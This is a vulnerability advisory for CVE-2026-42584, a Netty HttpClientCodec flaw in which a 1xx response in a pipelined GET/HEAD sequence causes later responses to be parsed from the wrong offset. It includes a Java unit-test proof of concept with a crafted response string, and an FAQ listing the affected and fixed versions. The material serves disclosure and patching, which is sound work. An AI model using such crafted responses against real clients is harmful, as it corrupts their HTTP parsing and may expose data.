CVE-2026-42584: Netty: HttpClientCodec response desynchronization
### Summary If HttpClientCodec is configured, there are use cases when a response body from one request, can be parsed as another's. ### Details HttpClientCodec pairs each inbound response with an outbound request by `queue.poll()` once per response, including for `1xx`. If the client pipelines GET then HEAD and the server sends 103, then 200 with GET body, then 200 for HEAD, the queue pairs HEAD with the first 200. The HEAD rule then skips reading that message’s body, so the GET entity bytes stay on the stream and the following 200 is parsed from the wrong offset. Prerequisites - HTTP/1.1 pipelining - HEAD in the pipeline - The server sends 1xx ### PoC ```java @Test public void test() { EmbeddedChannel channel = new EmbeddedChannel(new HttpClientCodec()); assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.GET, "/1"))); ByteBuf request = channel.readOutbound(); request.release(); assertNull(channel.readOutbound()); assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.HEAD, "/2"))); request = channel.readOutbound(); request.release(); assertNull(channel.readOutbound()); String responseStr = "HTTP/1.1 103 Early Hints\r\n\r\n" + "HTTP/1.1 200 OK\r\nContent-Length: 5\r\n\r\nhello" + "HTTP/1.1 200 OK\r\n\r\n"; assertTrue(channel.writeInbound(Unpooled.copiedBuffer(responseStr, CharsetUtil.US_ASCII))); // Response 1 HttpResponse response = channel.readInbound(); assertEquals(HttpResponseStatus.EARLY_HINTS, response.status()); LastHttpContent last = channel.readInbound(); assertEquals(0, last.content().readableBytes()); last.release(); // Response 2 response = channel.readInbound(); assertEquals(HttpResponseStatus.OK, response.status()); last = channel.readInbound(); assertEquals(0, last.content().readableBytes()); last.release(); // Response 3 FullHttpResponse response1 = channel.readInbound(); assertTrue(response1.decoderResult().isFailure()); assertEquals(0, response1.content().readableBytes()); response1.release(); assertFalse(channel.finish()); } ``` ### Impact Integrity/availability of HTTP parsing on that connection, unsafe reuse of the socket.
Affected Software
Event History
Frequently Asked Questions
What is the severity of CVE-2026-42584?
CVE-2026-42584 is classified as a vulnerable condition that allows for the response body from one request to potentially be parsed as another's.
How do I fix CVE-2026-42584?
To fix CVE-2026-42584, upgrade to io.netty:netty-codec-http version 4.1.133.Final or 4.2.13.Final.
Which versions of io.netty:netty-codec-http are affected by CVE-2026-42584?
CVE-2026-42584 affects versions up to and including 4.1.132.Final and versions from 4.2.0.Alpha1 to 4.2.12.Final.
What causes the vulnerability in CVE-2026-42584?
The vulnerability in CVE-2026-42584 arises from HttpClientCodec wrongly associating inbound responses with outbound requests.
Is CVE-2026-42584 easy to exploit?
CVE-2026-42584 may lead to misinterpretation of response data, potentially allowing for data leak or confusion in request-response mapping.